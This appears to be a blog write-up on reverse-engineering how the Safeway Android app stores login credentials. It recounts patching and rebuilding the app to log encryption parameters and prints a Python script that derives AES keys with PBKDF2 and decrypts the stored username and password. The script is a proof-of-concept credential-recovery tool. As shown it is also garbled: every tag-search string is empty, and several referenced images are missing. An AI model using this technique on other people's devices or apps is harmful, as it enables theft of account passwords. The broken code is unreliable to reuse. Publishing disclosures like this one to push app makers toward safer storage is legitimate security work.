Using the app, I made a test account with these credentials:
This is the #2 most important security vunerability on mobile devices, according to OWASP.
If a developer is forced to store a password locally, there are far better options, such as the Android Keystore. The Android Keystore can be breached on a rooted phone, so the app should test for this, and refuse to run on a rooted phone.
The remainder of this page merely proves this simple point by explicitly reverse-engineering the encryption used by Safeway, and making a simple Python script that decrypts the password.
Reading this file shows that it calls code in another file named "DataEncryptionUtil", as shown below.
I added code to put encryption parameters into the log, as shown below.
That's easy to solve by just deleting the code that references it, as highlighted in the image below.
Now the app builds without error, and can be signed.
I launched the modified app and logged in. The log shows encryption parameters, as shown below.
I also pulled the stored data off the phone again, to get all the information required to understand the process in one place.
So here's the secret key to decrypt the login name, calculated using Python. As you can see, it matches the key outlined in blue in the image above from the Android log.
Similarly, here's the secret key to decrypt the password:
from Crypto.Cipher import AES
from pbkdf2 import PBKDF2
infile = raw_input("Input file (from shared_prefs/accountpref.xml): [safeway.xml] ")
if infile == '':
infile = 'safeway.xml'
with open(infile) as f:
content = f.readlines()
content = [x.strip() for x in content]
oneline = ''
for line in content:
oneline += line
print
print "Here's the data the Safeway app stores on your phone:"
print
s1 = ""
d1 = oneline.find(s1)
d2 = oneline.find(" ", d1)
user_password = oneline[d1 + len(s1) : d2]
print "user_password: ", user_password
s1 = ""
d1 = oneline.find(s1)
d2 = oneline.find(" ", d1)
private_userseed = oneline[d1 + len(s1) : d2]
print "private_userseed: ", private_userseed
s1 = ""
d1 = oneline.find(s1)
d2 = oneline.find(" ", d1)
private_passwordseed = oneline[d1 + len(s1) : d2]
print "private_passwordseed: ", private_passwordseed
s1 = ""
d1 = oneline.find(s1)
d2 = oneline.find(" ", d1)
private_salt = oneline[d1 + len(s1) : d2]
print "private_salt: ", private_salt
s1 = ""
d1 = oneline.find(s1)
d2 = oneline.find(" ", d1)
user_login = oneline[d1 + len(s1) : d2]
print "user_login: ", user_login
print
print "Decrypting it yields:"
print
seed = private_userseed
salt = private_salt.decode("Base64")
secret_key = PBKDF2(seed, salt).read(16).encode("hex")
secret_key = secret_key.decode("hex")
iv = private_userseed[::-1]
n = len(iv)
iv = iv[n-16:n]
ciphertext = user_login[0:32].decode("hex")
cipher = AES.new(secret_key, AES.MODE_CBC, iv)
print "Username: ", cipher.decrypt(ciphertext)
seed = private_passwordseed
salt = private_salt.decode("Base64")
secret_key = PBKDF2(seed, salt).read(16).encode("hex")
secret_key = secret_key.decode("hex")
iv = private_passwordseed[::-1]
n = len(iv)
iv = iv[n-16:n]
ciphertext = user_password.decode("hex")
cipher = AES.new(secret_key, AES.MODE_CBC, iv)
print "Password: ", cipher.decrypt(ciphertext)
print
Here's the script recovering my
username and password.
It still seems to save passwords locally, but the fields have changed. This is probably still vulnerable, but I'll have to repeat the reverse-engineering to crack it.